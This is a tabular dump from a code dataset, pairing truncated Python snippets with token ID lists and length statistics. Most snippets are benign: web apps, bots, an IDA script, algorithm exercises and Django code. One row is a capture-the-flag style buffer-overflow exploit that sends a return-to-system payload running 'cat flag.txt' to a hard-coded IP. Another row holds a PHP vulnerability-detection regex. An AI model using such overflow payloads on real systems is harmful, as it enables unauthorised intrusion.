content stringlengths 1 1.04M | input_ids listlengths 1 774k | ratio_char_token float64 0.38 22.9 | token_count int64 1 774k |
|---|---|---|---|
from bottle import route, run, debug, template, request
import sqlite3
def pretty_print_POST(req):
"""
At this point it is completely built and ready
to be fired; it is "prepared".
However pay attention at the formatting used in
this function because it is programmed to be pretty
printed an... | [
6738,
9294,
1330,
6339,
11,
1057,
11,
14257,
11,
11055,
11,
2581,
198,
11748,
44161,
578,
18,
628,
198,
4299,
2495,
62,
4798,
62,
32782,
7,
42180,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1629,
428,
966,
340,
318,
3190,
... | 2.60061 | 328 |
# -*- coding: utf-8 -*
#!/usr/bin/python
from dealctrl import *
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
198,
2,
48443,
14629,
14,
8800,
14,
29412,
198,
198,
6738,
1730,
44755,
1330,
1635,
198
] | 2.321429 | 28 |
import os
import discord
import asyncio
import logging
from discord.ext import commands
from simc import SimC
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(
filename='discord.log', encoding='utf-8', mode='w')
handler.setFormatter(
logging.Formatter('%(ascti... | [
11748,
28686,
198,
11748,
36446,
198,
11748,
30351,
952,
198,
11748,
18931,
198,
198,
6738,
36446,
13,
2302,
1330,
9729,
198,
6738,
985,
66,
1330,
3184,
34,
198,
198,
6404,
1362,
796,
18931,
13,
1136,
11187,
1362,
10786,
15410,
585,
115... | 2.677966 | 236 |
import re
from .default import DefaultParser
| [
11748,
302,
198,
198,
6738,
764,
12286,
1330,
15161,
46677,
628
] | 4.272727 | 11 |
'''
@author: m0t
'''
#search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each.
#To be used with process stalker to immediately see "interesting" blocks
from idc import *
from idautils import *
purple = 0x9933cc #our definition of purple...
#get start address of each funct... | [
7061,
6,
198,
31,
9800,
25,
220,
285,
15,
83,
198,
198,
7061,
6,
198,
198,
2,
12947,
329,
7021,
16396,
14032,
7,
15,
87,
2079,
2091,
535,
8,
290,
8075,
257,
10058,
2270,
4122,
379,
262,
923,
286,
1123,
13,
198,
2,
2514,
307,
9... | 2.878472 | 288 |
'''
Problem Statement
Given a string with lowercase letters only, if you are allowed to replace no more than ‘k’ letters with any letter, find the length of the longest substring having the same letters after replacement.
Example 1:
Input: String="aabccbb", k=2
Output: 5
Explanation: Replace the two 'c' with 'b' to hav... | [
7061,
6,
198,
40781,
21983,
198,
15056,
257,
4731,
351,
2793,
7442,
7475,
691,
11,
611,
345,
389,
3142,
284,
6330,
645,
517,
621,
564,
246,
74,
447,
247,
7475,
351,
597,
3850,
11,
1064,
262,
4129,
286,
262,
14069,
3293,
1806,
1719,
... | 3.373377 | 308 |
'''Contributed by Carey Evans'''
import sys
from Ft.Xml.Xslt import Processor
"""outenc.py
Test whether 4DOM and 4XSLT produce correct output given different
input strings, using different output encodings. The general testing
procedure goes:
Read document into DOM from string <A>.
Extract text into Uni... | [
198,
7061,
6,
4264,
6169,
416,
31612,
13922,
7061,
6,
198,
198,
11748,
25064,
198,
198,
6738,
45231,
13,
55,
4029,
13,
55,
82,
2528,
1330,
32893,
198,
198,
37811,
448,
12685,
13,
9078,
198,
198,
14402,
1771,
604,
39170,
290,
604,
55... | 2.533532 | 671 |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from __future__ import print_function
import h2o
from tests import pyunit_utils
from h2o.estimators.glm import H2OGeneralizedLinearEstimator
if __name__ == "__main__":
pyunit_utils.standalone_test(testOrdinalLogit)
else:
testOrdinalLogit()
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
21004,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
11748,
289,
17,
78,
198,
6738,
5254,
1330,
12972,
20850,
62,
26791,... | 2.614035 | 114 |
from django.db import models
| [
6738,
42625,
14208,
13,
9945,
1330,
4981,
628,
198
] | 3.444444 | 9 |
import socket
import struct
from binascii import hexlify
system_plt = 0x080483a0
sh = 0x80485c0 # /bin/bash -c 'cat flag.txt'
payload = "A"*140
payload += struct.pack("<I", system_plt)
payload += "AAAA"
payload += struct.pack("<I", sh)
#open('payload', 'w').write(payload)
s=socket.create_connection(('212.71.235.214... | [
11748,
17802,
198,
11748,
2878,
198,
6738,
9874,
292,
979,
72,
1330,
17910,
75,
1958,
198,
198,
10057,
62,
489,
83,
796,
657,
87,
33057,
38783,
64,
15,
198,
1477,
796,
657,
87,
1795,
32642,
66,
15,
1303,
1220,
8800,
14,
41757,
532,
... | 2.365169 | 178 |
import struct
| [
11748,
2878,
198
] | 4.666667 | 3 |
from random import randrange
kingCards = ['C', 'C', 'C', 'C', 'K']
slaveCards = ['C', 'C', 'C', 'C', 'S']
print("""- C = Citizen
- S = Slave
- K = King""")
for i in range(5):
print('Your cards:', slaveCards)
cardIPlay = input('Which card will you play? ')
slaveCards.remove(cardIPlay)
cardKPlay = kingCa... | [
6738,
4738,
1330,
43720,
9521,
198,
198,
3364,
34,
1371,
796,
37250,
34,
3256,
705,
34,
3256,
705,
34,
3256,
705,
34,
3256,
705,
42,
20520,
198,
36341,
34,
1371,
796,
37250,
34,
3256,
705,
34,
3256,
705,
34,
3256,
705,
34,
3256,
7... | 2.230061 | 326 |
from boiler.testing.testcase import ViewTestCase
from tests.test_app.app import app as test_app
class BaseTestCase(ViewTestCase):
"""
Base test case
Uses test case from shiftboiler to provide flask-integrated testing
facilities.
"""
| [
6738,
36741,
13,
33407,
13,
9288,
7442,
1330,
3582,
14402,
20448,
198,
6738,
5254,
13,
9288,
62,
1324,
13,
1324,
1330,
598,
355,
1332,
62,
1324,
628,
198,
4871,
7308,
14402,
20448,
7,
7680,
14402,
20448,
2599,
198,
220,
220,
220,
3722... | 3.240506 | 79 |
from classes.portfolio import Portfolio
from classes.menu import Menu
main()
| [
6738,
6097,
13,
634,
13652,
1330,
4347,
13652,
198,
6738,
6097,
13,
26272,
1330,
21860,
198,
198,
12417,
3419,
198
] | 3.9 | 20 |
import plac
import os
from collections import defaultdict
import logging
logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO)
@plac.annotations(
dirname = ("path of the directory", "positional"),
srcfile = ("source filename", "positional"),
tgtfile = ("target filename", "pos... | [
11748,
21957,
198,
11748,
28686,
198,
6738,
17268,
1330,
4277,
11600,
198,
11748,
18931,
198,
198,
6404,
2667,
13,
35487,
16934,
357,
18982,
2625,
4,
7,
292,
310,
524,
8,
82,
1058,
4064,
7,
5715,
3672,
8,
82,
1058,
4064,
7,
20500,
8... | 2.976378 | 127 |
#!/usr/bin/python3
__author__ = "yang.dd"
"""
example 080
"""
if __name__ == '__main__':
'''
从第五只猴子拿1个的桃子开始算
如果有一只不满足条件,则从头开始计算,直到满足
'''
monkey = 5
peach5th = 1
peach = 1
while monkey > 1:
total = peach * 5 + 1
if total % 4 == 0:
monkey -= 1
... | [
2,
48443,
14629,
14,
8800,
14,
29412,
18,
198,
198,
834,
9800,
834,
796,
366,
17859,
13,
1860,
1,
198,
198,
37811,
198,
220,
220,
220,
1672,
657,
1795,
198,
37811,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
... | 1.335065 | 385 |
#!/usr/bin/env python3
import os
import zlib
from struct import pack, unpack
class Codec(object):
"""\
Main codec for DRP.
"""
def run(self):
"""\
Run the codec and write the output file.
"""
with open(self.ifname, 'rb') as f:
self.iofunc(f)
def encode(self, f):
"""\
Encode DRP: Boilderplate ... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
11748,
28686,
198,
11748,
1976,
8019,
198,
6738,
2878,
1330,
2353,
11,
555,
8002,
628,
628,
198,
4871,
39298,
7,
15252,
2599,
198,
197,
37811,
59,
198,
197,
13383,
40481,
329,... | 2.244043 | 1,217 |
# Complete the solve function below. | [
2,
13248,
262,
8494,
2163,
2174,
13
] | 5.142857 | 7 |
from common.make_tx import (
make_swap_tx, make_reward_tx, make_transfer_in_tx, make_transfer_out_tx,
make_unknown_tx, make_unknown_tx_with_transfer, _make_tx_exchange
)
from osmo import util_osmo
| [
198,
6738,
2219,
13,
15883,
62,
17602,
1330,
357,
198,
220,
220,
220,
787,
62,
2032,
499,
62,
17602,
11,
787,
62,
260,
904,
62,
17602,
11,
787,
62,
39437,
62,
259,
62,
17602,
11,
787,
62,
39437,
62,
448,
62,
17602,
11,
198,
220,... | 2.460674 | 89 |
# Copyright 2007 Neal Norwitz
# Portions Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | [
2,
15069,
4343,
29189,
5414,
28155,
198,
2,
4347,
507,
15069,
4343,
3012,
3457,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
... | 3.425287 | 522 |
import numpy
from pylab import *
import tables
rc('text', usetex=True)
Lx = 100.0
Ly = 50.0
B0 = 1/15.0
n0 = 1.0
mu0 = 1.0
elcCharge = -1.0
ionCharge = 1.0
ionMass = 1.0
elcMass = ionMass/25
elcMass = ionMass/25
ionCycl = ionCharge*B0/ionMass
start = 0
end = 100
nFrame = end-start+1
tm = zeros((nFrame,), float)
flx... | [
11748,
299,
32152,
198,
6738,
279,
2645,
397,
1330,
1635,
198,
11748,
8893,
198,
198,
6015,
10786,
5239,
3256,
514,
316,
1069,
28,
17821,
8,
198,
198,
43,
87,
796,
1802,
13,
15,
198,
31633,
796,
2026,
13,
15,
198,
33,
15,
796,
352... | 1.918367 | 637 |
import csv
import time
import requests
import argparse
from sys import exit
from typing import List, Optional, Tuple, Any
from bs4 import BeautifulSoup
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', action='store', type=str, required=True)
parser.add_... | [
11748,
269,
21370,
198,
11748,
640,
198,
11748,
7007,
198,
11748,
1822,
29572,
198,
6738,
25064,
1330,
8420,
198,
6738,
19720,
1330,
7343,
11,
32233,
11,
309,
29291,
11,
4377,
198,
6738,
275,
82,
19,
1330,
23762,
50,
10486,
628,
628,
... | 2.370892 | 852 |
import unittest
from Cell import Cell
from Blanking_Cell_Exception import Blanking_Cell_Exception
if __name__ == '__main__':
unittest.main()
| [
11748,
555,
715,
395,
198,
6738,
12440,
1330,
12440,
198,
6738,
1086,
15230,
62,
28780,
62,
16922,
1330,
1086,
15230,
62,
28780,
62,
16922,
628,
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
5... | 3.104167 | 48 |
import torch
from torch import nn
| [
11748,
28034,
198,
6738,
28034,
1330,
299,
77,
628
] | 3.888889 | 9 |
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression, Ridge
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import PolynomialFeatures, StandardScaler
# --... | [
11748,
299,
32152,
355,
45941,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
6738,
1341,
35720,
13,
29127,
62,
19849,
1330,
44800,
8081,
2234,
11,
20614,
198,
6738,
1341,
35720,
13,
4164,
10466,
1330,
1612,
62,
1648... | 2.144903 | 2,933 |
#!/usr/bin/python
"""
Python wrapper example to test socketpair protocol
./test-socketpair.py test.cfg
use sockpair@${FD1} and sockpair@${FD2} in your configuration file
"""
import socket, os, sys
s = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
os.set_inheritable(s[0].fileno(), 1)
os.set_inheritable(s[1].... | [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
37811,
198,
37906,
29908,
1672,
284,
1332,
17802,
24874,
8435,
198,
19571,
9288,
12,
44971,
24874,
13,
9078,
1332,
13,
37581,
198,
198,
1904,
32263,
24874,
31,
38892,
26009,
16,
92,
290,
32263,... | 2.253906 | 256 |
from output.models.sun_data.elem_decl.abstract.abstract00101m.abstract00101m_xsd.abstract00101m import (
Head,
HeadType,
Member1,
Root,
)
__all__ = [
"Head",
"HeadType",
"Member1",
"Root",
]
| [
6738,
5072,
13,
27530,
13,
19155,
62,
7890,
13,
68,
10671,
62,
32446,
13,
397,
8709,
13,
397,
8709,
8298,
486,
76,
13,
397,
8709,
8298,
486,
76,
62,
87,
21282,
13,
397,
8709,
8298,
486,
76,
1330,
357,
198,
220,
220,
220,
7123,
1... | 2.093458 | 107 |
# This file is part of the Edison Project.
# Please refer to the LICENSE document that was supplied with this software for information on how it can be used.
from django.db import models
from django.contrib.auth.models import User
# These are the models required for the basic CMDB
# First, Define our list of countrie... | [
2,
770,
2393,
318,
636,
286,
262,
37448,
4935,
13,
198,
2,
4222,
3522,
284,
262,
38559,
24290,
3188,
326,
373,
14275,
351,
428,
3788,
329,
1321,
319,
703,
340,
460,
307,
973,
13,
198,
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
... | 3.754513 | 277 |
from bs4 import BeautifulSoup
import requests
import sqlite3
conn = sqlite3.connect("output.db")
cur = conn.cursor()
headers = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '3600',
'User-Agent'... | [
6738,
275,
82,
19,
1330,
23762,
50,
10486,
198,
11748,
7007,
198,
11748,
44161,
578,
18,
198,
198,
37043,
796,
44161,
578,
18,
13,
8443,
7203,
22915,
13,
9945,
4943,
198,
22019,
796,
48260,
13,
66,
21471,
3419,
198,
198,
50145,
796,
... | 2.544402 | 518 |
# -*- coding: utf-8 -*-
from gensim.models import word2vec
import os
import logging
MODEL_NAME = 'text8'
DATA_PATH = 'data\\text8'
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
201,
198,
6738,
308,
641,
320,
13,
27530,
1330,
1573,
17,
35138,
201,
198,
11748,
28686,
201,
198,
11748,
18931,
201,
198,
201,
198,
33365,
3698,
62,
20608,
796,
705,
5239,
... | 2.295082 | 61 |
import cv2 as cv2
import numpy as np
from collections import Counter
import math
import matplotlib.pyplot as plt
#test images
# s='add.png'
s='lenna.jpg'
s='ttt.jpg'
#pixel used for SIFT
pixelX=200
pixelY=200
#functions
#main
img=cv2.imread(s)
h,w,d = np.shape(img)
#convolution matrix
c=1
... | [
11748,
269,
85,
17,
355,
269,
85,
17,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
6738,
17268,
1330,
15034,
201,
198,
11748,
10688,
201,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
201,
198,
201,
198,
2,
928... | 1.921875 | 576 |
#!/usr/bin/env python
import os
from glob import glob
if os.environ.get('USE_SETUPTOOLS'):
from setuptools import setup
setup_kwargs = dict(zip_safe=0)
else:
from distutils.core import setup
setup_kwargs = dict()
storage_dirs = [ ('storage/whisper',[]), ('storage/lists',[]),
('storage/log'... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
11748,
28686,
198,
6738,
15095,
1330,
15095,
198,
198,
361,
28686,
13,
268,
2268,
13,
1136,
10786,
19108,
62,
28480,
8577,
10468,
3535,
50,
6,
2599,
198,
220,
422,
900,
37623,
101... | 2.687688 | 333 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Split off 2D variable from file with other variables
Notes
----
- based on software carpentary example.
http://damienirving.github.io/capstone-oceanography/03-data-provenance.html
"""
# Modules to import
from netCDF4 import Dataset
import numpy as np
import pylab as pl
... | [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
37811,
198,
41205,
572,
362,
35,
7885,
422,
2393,
351,
584,
9633,
198,
198,
16130,
198,
650,
220,
198,
532,
1912,
319,
3788,... | 2.449927 | 1,378 |
<<<<<<< HEAD
import time
import numpy as np
import Adafruit_BBIO.PWM as PWM
from PixyCam import PixyCam
from imu import Imu
from servo import Servo
from wheel import Wheel
from classes import State
import constants as cons
import threading
#import logging
import sys
from queue import LifoQueue
count =0
ball_status_new... | [
16791,
16791,
16791,
27,
39837,
198,
11748,
640,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
1215,
1878,
4872,
62,
33,
3483,
46,
13,
47,
22117,
355,
350,
22117,
198,
6738,
21642,
88,
21701,
1330,
21642,
88,
21701,
198,
6738,
545,
... | 2.516908 | 1,242 |
# -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
220,
220,
220,
15069,
2211,
7381,
20836,
11,
3457,
13,
198,
2,
198,
2,
220,
220,
220,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
... | 3.306283 | 382 |
import itertools
import numpy as np
from scipy.sparse.csgraph import shortest_path
| [
11748,
340,
861,
10141,
198,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
629,
541,
88,
13,
82,
29572,
13,
6359,
34960,
1330,
35581,
62,
6978,
628,
628,
198
] | 3.034483 | 29 |
from encrypt import Encrypt
import json
Encrypt = Encrypt()
if __name__ == '__main__':
payload_encryption_test()
| [
6738,
34117,
1330,
14711,
6012,
198,
11748,
33918,
198,
198,
27195,
6012,
796,
14711,
6012,
3419,
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
21437,
62,
12685,
13168,
62,
9288,
3419,
198
] | 3 | 40 |
#Author-Sterling Crispin
#Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be
import adsk.core, adsk.fusion, traceback
import math | [
2,
13838,
12,
50,
353,
1359,
15088,
11635,
198,
2,
11828,
12,
12942,
306,
16573,
422,
2638,
1378,
16794,
13,
2306,
4147,
74,
13,
785,
14,
1177,
14,
69,
4241,
15277,
14,
1677,
52,
20924,
5162,
312,
28,
38,
27586,
12,
66,
18,
67,
... | 2.395349 | 86 |
"""
Description :
A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment
required by the credit card company each month.
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
monthlyPaymentRate - minimum mont... | [
37811,
198,
11828,
1058,
198,
32,
1430,
284,
15284,
262,
3884,
2657,
5236,
706,
530,
614,
611,
257,
1048,
691,
13831,
262,
5288,
9651,
6074,
198,
35827,
416,
262,
3884,
2657,
1664,
1123,
1227,
13,
198,
198,
20427,
532,
262,
11660,
523... | 3.425414 | 362 |
import pytest
from wod_board import exceptions
from wod_board.crud import movement_crud
from wod_board.models import movement
from wod_board.models import unit
from wod_board.schemas import movement_schemas
| [
11748,
12972,
9288,
198,
198,
6738,
266,
375,
62,
3526,
1330,
13269,
198,
6738,
266,
375,
62,
3526,
13,
6098,
463,
1330,
3356,
62,
6098,
463,
198,
6738,
266,
375,
62,
3526,
13,
27530,
1330,
3356,
198,
6738,
266,
375,
62,
3526,
13,
... | 3.276923 | 65 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators
regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)'
# Fun... | [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
1220,
0,
59,
46254,
18980,
357,
15885,
8,
8818,
16763,
85,
377,
77,
5769,
15885,
8,
14451,
416,
21437,
58,
15,
486... | 2.765674 | 2,552 |
from __future__ import absolute_import
import logging
import click
logger = logging.getLogger(__name__)
@click.group(short_help="Interact with engines.")
@engine.group(short_help="Interact with engine's votes.")
@engine.group(short_help="Interact with engine's assertions.")
@assertions.command('create', short... | [
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
11748,
18931,
198,
198,
11748,
3904,
198,
198,
6404,
1362,
796,
18931,
13,
1136,
11187,
1362,
7,
834,
3672,
834,
8,
628,
198,
31,
12976,
13,
8094,
7,
19509,
62,
16794,
2625,
9492,
... | 2.909494 | 1,127 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Copyright 2015 RAPP
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#http://www.apache.org/licenses/LICENSE-2.0
#Unless required by applicabl... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
15269,
1853,
371,
24805,
198,
198,
2,
26656,
15385,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169... | 2.957295 | 843 |
""""""
# Standard library modules.
import abc
from collections import namedtuple
import itertools
# Third party modules.
from qtpy import QtCore, QtGui, QtWidgets
import numpy as np
# Local modules.
from pymontecarlo.options.beam.base import BeamBase
from pymontecarlo.options.particle import Particle
from pymonteca... | [
15931,
15931,
15931,
198,
198,
2,
8997,
5888,
13103,
13,
198,
11748,
450,
66,
198,
6738,
17268,
1330,
3706,
83,
29291,
198,
11748,
340,
861,
10141,
198,
198,
2,
10467,
2151,
13103,
13,
198,
6738,
10662,
83,
9078,
1330,
33734,
14055,
1... | 2.915709 | 261 |
from __future__ import division, print_function, absolute_import
import numpy as np
from . import phys
import os
'''
Implement UV scattering cross-sections.
Either data or fits.
'''
### -----------------------------------
### Global definitions here
### -----------------------------------
### Absorption crosssectio... | [
6738,
11593,
37443,
834,
1330,
7297,
11,
3601,
62,
8818,
11,
4112,
62,
11748,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
764,
1330,
2281,
198,
11748,
28686,
198,
198,
7061,
6,
198,
3546,
26908,
22033,
45765,
3272,
12,
23946,
13,
1... | 4.077778 | 90 |
# Full Moon Damage Skin
success = sm.addDamageSkin(2434574)
if success:
sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.")
# sm.consumeItem(2434574)
| [
2,
6462,
6869,
8995,
17847,
198,
13138,
796,
895,
13,
2860,
22022,
42455,
7,
26660,
2231,
4524,
8,
198,
361,
1943,
25,
198,
220,
220,
220,
895,
13,
17006,
7203,
464,
6462,
6869,
8995,
17847,
468,
587,
2087,
284,
534,
1848,
338,
2465... | 3.225806 | 62 |
#!/usr/local/bin/python
# coding:utf-8
from urllib import urlopen
from urllib import urlretrieve
import json
import sys
import os
import zipfile
import shutil
import multiprocessing
# returns the URL to download the user submission
# scrapes the C/C++/Python files of the given round
# main section of script
if __na... | [
2,
48443,
14629,
14,
12001,
14,
8800,
14,
29412,
198,
2,
19617,
25,
40477,
12,
23,
198,
198,
6738,
2956,
297,
571,
1330,
19016,
9654,
198,
6738,
2956,
297,
571,
1330,
19016,
1186,
30227,
198,
11748,
33918,
198,
11748,
25064,
198,
1174... | 2.686275 | 357 |
from datetime import datetime
from os.path import dirname, join
import re
import pytest
from freezegun import freeze_time
from city_scrapers_core.constants import NOT_CLASSIFIED
from city_scrapers_core.utils import file_response
from city_scrapers.spiders.il_medicaid import IlMedicaidSpider
test_response = file_resp... | [
6738,
4818,
8079,
1330,
4818,
8079,
198,
6738,
28686,
13,
6978,
1330,
26672,
3672,
11,
4654,
198,
11748,
302,
198,
198,
11748,
12972,
9288,
198,
6738,
1479,
89,
1533,
403,
1330,
16611,
62,
2435,
198,
6738,
1748,
62,
1416,
2416,
364,
6... | 2.62379 | 723 |
import sys
sys.path.append('../')
import numpy as np
import math
import copy
import os
from circuits.elements import ele_C, ele_L
from IS.IS import IS_0
from IS.IS_criteria import cal_ChiSquare_0
from utils.file_utils.pickle_utils import pickle_file
from utils.visualize_utils.IS_plots.ny import nyquist_multiPlots_1, n... | [
11748,
25064,
198,
17597,
13,
6978,
13,
33295,
10786,
40720,
11537,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
10688,
198,
11748,
4866,
198,
11748,
28686,
198,
198,
6738,
24907,
13,
68,
3639,
1330,
9766,
62,
34,
11,
9766,
62,
43,
... | 1.616701 | 8,826 |
with open("haiku.txt", "w") as file:
file.write("Writing files is great\n")
file.write("Here's another line of text\n")
file.write("Closing now, goodbye!")
with open("haiku.txt", "w") as file:
file.write("Here's one more haiku\n")
file.write("What about the older one?\n")
file.write("Let's ... | [
4480,
1280,
7203,
3099,
28643,
13,
14116,
1600,
366,
86,
4943,
355,
2393,
25,
198,
220,
220,
220,
2393,
13,
13564,
7203,
33874,
3696,
318,
1049,
59,
77,
4943,
198,
220,
220,
220,
2393,
13,
13564,
7203,
4342,
338,
1194,
1627,
286,
24... | 2.506173 | 162 |
# Copyright 2020 Toyota Research Institute. All rights reserved.
import cv2
import torch
import torch.nn.functional as funct
from functools import lru_cache
from PIL import Image
from packnet_sfm.utils.misc import same_shape
def load_image(path):
"""
Read an image using PIL
Parameters
----------
... | [
2,
15069,
12131,
20182,
4992,
5136,
13,
220,
1439,
2489,
10395,
13,
198,
198,
11748,
269,
85,
17,
198,
11748,
28034,
198,
11748,
28034,
13,
20471,
13,
45124,
355,
1257,
310,
198,
6738,
1257,
310,
10141,
1330,
300,
622,
62,
23870,
198,... | 2.549562 | 2,966 |
import cell_workers
| [
11748,
2685,
62,
22896,
628
] | 4.2 | 5 |
import logging
import accounts
import diary
from datetime import datetime, timedelta
from telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove)
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters,
ConversationHandler)
logging.basicConfig(format='%(asctime)s - %(n... | [
11748,
18931,
198,
11748,
5504,
198,
11748,
26339,
198,
198,
6738,
4818,
8079,
1330,
4818,
8079,
11,
28805,
12514,
198,
198,
6738,
573,
30536,
1330,
357,
36875,
9218,
3526,
9704,
929,
11,
14883,
9218,
3526,
27914,
8,
198,
6738,
573,
305... | 2.559471 | 227 |
"Automatic memoization"
'''
fib3() can be further simplified. Python has a built-in decorator for memoizing any
function automagically. In fib4(), the decorator @functools.lru_cache() is used
with the same exact code as we used in fib2(). Each time fib4() is executed with a
novel argument, the decorator causes the ret... | [
1,
16541,
13730,
16155,
1634,
1,
198,
198,
7061,
6,
198,
69,
571,
18,
3419,
460,
307,
2252,
27009,
13,
11361,
468,
257,
3170,
12,
259,
11705,
1352,
329,
16155,
2890,
597,
198,
8818,
3557,
39066,
13,
554,
12900,
19,
22784,
262,
11705... | 3.255208 | 192 |
from django.urls import path, include
from patients.views.dashboard import dashboard
from patients.views.patient import patient_detail, patient_list
from patients.views.doctor import doctor_detail, doctor_list
from patients.views.appointment import appointment_detail, appointment_list
from patients.views.invoice import... | [
6738,
42625,
14208,
13,
6371,
82,
1330,
3108,
11,
2291,
198,
6738,
3871,
13,
33571,
13,
42460,
3526,
1330,
30415,
198,
6738,
3871,
13,
33571,
13,
26029,
1330,
5827,
62,
49170,
11,
5827,
62,
4868,
198,
6738,
3871,
13,
33571,
13,
35580,... | 3.029412 | 374 |
import numpy as np
import matplotlib.pyplot as plt
from numpy.linalg import inv
from pandas import DataFrame
import seaborn as sns
from robot_class import Robot
from helpers import display_world, make_data
## slam takes in 6 arguments and returns mu,
## mu is the entire path traversed by a robot (all x,y poses) *and*... | [
11748,
299,
32152,
355,
45941,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
6738,
299,
32152,
13,
75,
1292,
70,
1330,
800,
198,
6738,
19798,
292,
1330,
6060,
19778,
198,
11748,
384,
397,
1211,
355,
3013,
82,
198,... | 3 | 373 |
import tensorflow as tf
from tensorflow.python.keras.layers import Input
from tensorflow.python.keras.models import Model, load_model
from tensorflow.python.keras.layers import Convolution2D, Convolution3D
from tensorflow.python.keras.layers import MaxPooling2D, MaxPooling3D
from tensorflow.python.keras.activations im... | [
11748,
11192,
273,
11125,
355,
48700,
198,
198,
6738,
11192,
273,
11125,
13,
29412,
13,
6122,
292,
13,
75,
6962,
1330,
23412,
198,
6738,
11192,
273,
11125,
13,
29412,
13,
6122,
292,
13,
27530,
1330,
9104,
11,
3440,
62,
19849,
198,
673... | 3.093333 | 150 |
from pytube import YouTube # pip install pytube or pytube3
from pytube import Playlist
import os, re
if __name__ == '__main__':
playlist = Playlist("https://www.youtube.com/playlist?list=PL8A83A276F0D85E70")
main(1, playlist)
| [
6738,
12972,
29302,
1330,
7444,
1303,
7347,
2721,
12972,
29302,
393,
12972,
29302,
18,
198,
6738,
12972,
29302,
1330,
3811,
4868,
198,
11748,
28686,
11,
302,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
... | 2.797619 | 84 |
#!/usr/bin/python
import socket
import unittest
from pybgp import pathattr, nlri
| [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
198,
11748,
17802,
198,
11748,
555,
715,
395,
198,
198,
6738,
12972,
65,
31197,
1330,
3108,
35226,
11,
299,
75,
380,
628
] | 2.8 | 30 |
from ._data_loader import RawDataLoader, EmbeddingLoader, NERDataLoader, ATCDataLoader, \
AlbertBaseATCDataLoader, BertBaseATCDataLoader
| [
6738,
47540,
7890,
